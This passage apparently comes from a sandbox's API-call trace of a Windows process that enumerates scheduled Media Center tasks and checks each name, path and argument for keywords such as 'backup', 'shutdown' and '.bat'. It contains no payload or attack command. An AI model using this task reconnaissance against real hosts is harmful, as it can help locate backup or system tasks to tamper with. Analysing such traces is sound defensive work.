0x0 [0040.337] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0040.337] wcsstr (_Str="/installplayready $(arg0)", _SubStr="reboot") returned 0x0 [0040.337] wcsstr (_Str="/installplayready $(arg0)", _SubStr="restart") returned 0x0 [0040.337] wcsstr (_Str="/installplayready $(arg0)", _SubStr="shutdown") returned 0x0 [0040.337] wcsstr (_Str="/installplayready $(arg0)", _SubStr="logoff") returned 0x0 [0040.337] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".bat") returned 0x0 [0040.337] wcsstr (_Str="/installplayready $(arg0)", _SubStr="backup") returned 0x0 [0040.337] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".cmd") returned 0x0 [0040.337] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0040.337] IUnknown:Release (This=0x2650708) returned 0x2 [0040.337] IUnknown:Release (This=0x2650708) returned 0x1 [0040.337] IUnknown:Release (This=0x6eff78) returned 0x1 [0040.337] IUnknown:Release (This=0x6eff00) returned 0x0 [0040.337] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.337] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.337] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="mcupdate") returned 0x0 [0040.337] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.338] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0040.339] wcsstr (_Str="mcupdate", _SubStr="reboot") returned 0x0 [0040.339] wcsstr (_Str="mcupdate", _SubStr="restart") returned 0x0 [0040.339] wcsstr (_Str="mcupdate", _SubStr="shutdown") returned 0x0 [0040.339] wcsstr (_Str="mcupdate", _SubStr="logoff") returned 0x0 [0040.339] wcsstr (_Str="mcupdate", _SubStr=".bat") returned 0x0 [0040.339] wcsstr (_Str="mcupdate", _SubStr="backup") returned 0x0 [0040.339] wcsstr (_Str="mcupdate", _SubStr=".cmd") returned 0x0 [0040.339] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0040.339] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0040.349] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0040.349] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0040.349] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650730) returned 0x0 [0040.349] IAction:get_Type (in: This=0x2650730, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.350] IUnknown:QueryInterface (in: This=0x2650730, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650730) returned 0x0 [0040.350] IExecAction:get_Path (in: This=0x2650730, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\mcupdate") returned 0x0 [0040.350] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0040.350] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="reboot") returned 0x0 [0040.350] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="restart") returned 0x0 [0040.350] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="shutdown") returned 0x0 [0040.350] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="logoff") returned 0x0 [0040.350] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".bat") returned 0x0 [0040.350] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="backup") returned 0x0 [0040.350] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".cmd") returned 0x0 [0040.350] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0040.350] IExecAction:get_Arguments (in: This=0x2650730, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="$(Arg0)") returned 0x0 [0040.350] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4f0 [0040.350] wcsstr (_Str="$(arg0)", _SubStr="reboot") returned 0x0 [0040.350] wcsstr (_Str="$(arg0)", _SubStr="restart") returned 0x0 [0040.350] wcsstr (_Str="$(arg0)", _SubStr="shutdown") returned 0x0 [0040.350] wcsstr (_Str="$(arg0)", _SubStr="logoff") returned 0x0 [0040.350] wcsstr (_Str="$(arg0)", _SubStr=".bat") returned 0x0 [0040.350] wcsstr (_Str="$(arg0)", _SubStr="backup") returned 0x0 [0040.350] wcsstr (_Str="$(arg0)", _SubStr=".cmd") returned 0x0 [0040.350] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0040.350] IUnknown:Release (This=0x2650730) returned 0x2 [0040.350] IUnknown:Release (This=0x2650730) returned 0x1 [0040.350] IUnknown:Release (This=0x6eff68) returned 0x1 [0040.350] IUnknown:Release (This=0x6efef0) returned 0x0 [0040.350] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.350] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.350] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="MediaCenterRecoveryTask") returned 0x0 [0040.350] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.352] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x30) returned 0x4daa68 [0040.352] wcsstr (_Str="mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0040.352] wcsstr (_Str="mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0040.352] wcsstr (_Str="mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0040.352] wcsstr (_Str="mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0040.352] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0040.352] wcsstr (_Str="mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0040.352] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0040.352] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0040.352] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6eff00) returned 0x0 [0040.357] ITaskDefinition:get_Actions (in: This=0x6eff00, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff78) returned 0x0 [0040.357] IActionCollection:get_Count (in: This=0x6eff78, pCount=0x2ffacc | out: pCount=0x2ffacc*=2) returned 0x0 [0040.357] IActionCollection:get_Item (in: This=0x6eff78, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650708) returned 0x0 [0040.357] IAction:get_Type (in: This=0x2650708, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.357] IUnknown:QueryInterface (in: This=0x2650708, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650708) returned 0x0 [0040.358] IExecAction:get_Path (in: This=0x2650708, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0040.358] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d28d0 [0040.358] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0040.358] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0040.358] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0040.358] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0040.358] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0040.358] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0040.358] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0040.358] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0040.358] IExecAction:get_Arguments (in: This=0x2650708, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="-MediaCenterRecoveryTask") returned 0x0 [0040.358] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x32) returned 0x4d9c28 [0040.358] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0040.358] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0040.358] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0040.358] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0040.358] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0040.358] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0040.358] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0040.358] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0040.358] IUnknown:Release (This=0x2650708) returned 0x2 [0040.358] IUnknown:Release (This=0x2650708) returned 0x1 [0040.358] IActionCollection:get_Item (in: This=0x6eff78, index=2, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650748) returned 0x0 [0040.358] IAction:get_Type (in: This=0x2650748, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0040.358] IUnknown:Release (This=0x2650748) returned 0x1 [0040.358] IUnknown:Release (This=0x6eff78) returned 0x1 [0040.358] IUnknown:Release (This=0x6eff00) returned 0x0 [0040.358] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.358] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.358] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="ObjectStoreRecoveryTask") returned 0x0 [0040.359] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.360] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x30) returned 0x4daa68 [0040.360] wcsstr (_Str="objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0040.360] wcsstr (_Str="objectstorerecoverytask", _SubStr="restart") returned 0x0 [0040.360] wcsstr (_Str="objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0040.360] wcsstr (_Str="objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0040.360] wcsstr (_Str="objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0040.360] wcsstr (_Str="objectstorerecoverytask", _SubStr="backup") returned 0x0 [0040.360] wcsstr (_Str="objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0040.360] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0040.360] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6eff00) returned 0x0 [0040.365] ITaskDefinition:get_Actions (in: This=0x6eff00, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff78) returned 0x0 [0040.365] IActionCollection:get_Count (in: This=0x6eff78, pCount=0x2ffacc | out: pCount=0x2ffacc*=2) returned 0x0 [0040.365] IActionCollection:get_Item (in: This=0x6eff78, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650708) returned 0x0 [0040.366] IAction:get_Type (in: This=0x2650708, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.366] IUnknown:QueryInterface (in: This=0x2650708, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650708) returned 0x0 [0040.366] IExecAction:get_Path (in: This=0x2650708, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0040.366] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d28d0 [0040.366] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0040.366] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0040.366] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0040.366] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0040.366] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0040.366] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0040.366] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0040.366] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0040.366] IExecAction:get_Arguments (in: This=0x2650708, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="-ObjectStoreRecoveryTask") returned 0x0 [0040.366] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x32) returned 0x4d9c28 [0040.366] wcsstr (_Str="-objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0040.366] wcsstr (_Str="-objectstorerecoverytask", _SubStr="restart") returned 0x0 [0040.366] wcsstr (_Str="-objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0040.366] wcsstr (_Str="-objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0040.366] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0040.366] wcsstr (_Str="-objectstorerecoverytask", _SubStr="backup") returned 0x0 [0040.366] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0040.366] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0040.366] IUnknown:Release (This=0x2650708) returned 0x2 [0040.366] IUnknown:Release (This=0x2650708) returned 0x1 [0040.366] IActionCollection:get_Item (in: This=0x6eff78, index=2, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650748) returned 0x0 [0040.366] IAction:get_Type (in: This=0x2650748, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0040.366] IUnknown:Release (This=0x2650748) returned 0x1 [0040.366] IUnknown:Release (This=0x6eff78) returned 0x1 [0040.366] IUnknown:Release (This=0x6eff00) returned 0x0 [0040.366] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.367] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.367] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="OCURActivate") returned 0x0 [0040.367] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.368] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503dd8 [0040.368] wcsstr (_Str="ocuractivate", _SubStr="reboot") returned 0x0 [0040.368] wcsstr (_Str="ocuractivate", _SubStr="restart") returned 0x0 [0040.368] wcsstr (_Str="ocuractivate", _SubStr="shutdown") returned 0x0 [0040.368] wcsstr (_Str="ocuractivate", _SubStr="logoff") returned 0x0 [0040.368] wcsstr (_Str="ocuractivate", _SubStr=".bat") returned 0x0 [0040.368] wcsstr (_Str="ocuractivate", _SubStr="backup") returned 0x0 [0040.368] wcsstr (_Str="ocuractivate", _SubStr=".cmd") returned 0x0 [0040.368] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503dd8) returned 1 [0040.368] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0040.382] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0040.382] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0040.382] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26506f0) returned 0x0 [0040.382] IAction:get_Type (in: This=0x26506f0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0040.382] IUnknown:QueryInterface (in: This=0x26506f0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26506f0) returned 0x0 [0040.382] IExecAction:get_Path (in: This=0x26506f0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0040.382] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0040.382] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0040.382] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0040.382] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0040.382] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0040.382] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0040.382] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0040.382] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0040.382] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0040.382] IExecAction:get_Arguments (in: This=0x26506f0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/OCURActivate") returned 0x0 [0040.382] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x503e78 [0040.383] wcsstr (_Str="/ocuractivate", _SubStr="reboot") returned 0x0 [0040.383] wcsstr (_Str="/ocuractivate", _SubStr="restart") returned 0x0 [0040.383] wcsstr (_Str="/ocuractivate", _SubStr="shutdown") returned 0x0 [0040.383] wcsstr (_Str="/ocuractivate", _SubStr="logoff") returned 0x0 [0040.383] wcsstr (_Str="/ocuractivate", _SubStr=".bat") returned 0x0 [0040.383] wcsstr (_Str="/ocuractivate", _SubStr="backup") returned 0x0 [0040.383] wcsstr (_Str="/ocuractivate", _SubStr=".cmd") returned 0x0 [0040.383] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503e78) returned 1 [0040.383] IUnknown:Release (This=0x26506f0) returned 0x2 [0040.383] IUnknown:Release (This=0x26506f0) returned 0x1 [0040.383] IUnknown:Release (This=0x6eff68) returned 0x1 [0040.383] IUnknown:Release (This=0x6efef0) returned 0x0 [0040.383] IUnknown:Release (This=0x6efe40) returned 0x0 [0040.383] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0040.383] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="OCURDiscovery") returned 0x0 [0040.383] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0040.419] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x503d88 [0040.419] wcsstr (_Str="ocurdiscovery", _SubStr="reboot") returned 0x0 [0040.419] wcsstr (_Str="ocurdiscovery", _SubStr="restart") returned 0x0 [0040.419] wcsstr (_Str="ocurdiscovery", _SubStr="shutdown") returned 0x0 [0040.419] wcsstr (_Str="ocurdiscovery", _SubStr="logoff") returned 0x0 [0040.419] wcsstr (_Str="ocurdiscovery", _SubStr=".bat") returned 0x0 [0040.419] wcsstr (_Str="ocurdiscovery", _SubStr="backup") returned 0x0 [0040.419] wcsstr (_Str="ocurdiscovery", _SubStr=".cmd") returned 0x0 [0040.419] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d88) returned 1 [0040.419] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0041.269] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0041.269] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0041.269] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26506f0) returned 0x0 [0041.269] IAction:get_Type (in: This=0x26506f0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.269] IUnknown:QueryInterface (in: This=0x26506f0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26506f0) returned 0x0 [0041.269] IExecAction:get_Path (in: This=0x26506f0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0041.270] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0041.270] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0041.270] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0041.270] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0041.270] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0041.270] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0041.270] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0041.270] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0041.270] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0041.270] IExecAction:get_Arguments (in: This=0x26506f0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/OCURDiscovery $(Arg0)") returned 0x0 [0041.270] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa68 [0041.270] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="reboot") returned 0x0 [0041.270] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="restart") returned 0x0 [0041.270] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="shutdown") returned 0x0 [0041.270] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="logoff") returned 0x0 [0041.270] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".bat") returned 0x0 [0041.270] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="backup") returned 0x0 [0041.270] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".cmd") returned 0x0 [0041.270] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0041.270] IUnknown:Release (This=0x26506f0) returned 0x2 [0041.270] IUnknown:Release (This=0x26506f0) returned 0x1 [0041.271] IUnknown:Release (This=0x6eff68) returned 0x1 [0041.271] IUnknown:Release (This=0x6efef0) returned 0x0 [0041.271] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.271] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.271] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="PBDADiscovery") returned 0x0 [0041.271] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.273] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x503fe0 [0041.273] wcsstr (_Str="pbdadiscovery", _SubStr="reboot") returned 0x0 [0041.273] wcsstr (_Str="pbdadiscovery", _SubStr="restart") returned 0x0 [0041.273] wcsstr (_Str="pbdadiscovery", _SubStr="shutdown") returned 0x0 [0041.273] wcsstr (_Str="pbdadiscovery", _SubStr="logoff") returned 0x0 [0041.274] wcsstr (_Str="pbdadiscovery", _SubStr=".bat") returned 0x0 [0041.274] wcsstr (_Str="pbdadiscovery", _SubStr="backup") returned 0x0 [0041.274] wcsstr (_Str="pbdadiscovery", _SubStr=".cmd") returned 0x0 [0041.274] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503fe0) returned 1 [0041.274] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0041.280] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0041.280] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0041.280] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26506f0) returned 0x0 [0041.280] IAction:get_Type (in: This=0x26506f0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.280] IUnknown:QueryInterface (in: This=0x26506f0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26506f0) returned 0x0 [0041.280] IExecAction:get_Path (in: This=0x26506f0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0041.280] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0041.280] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0041.280] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0041.280] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0041.281] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") 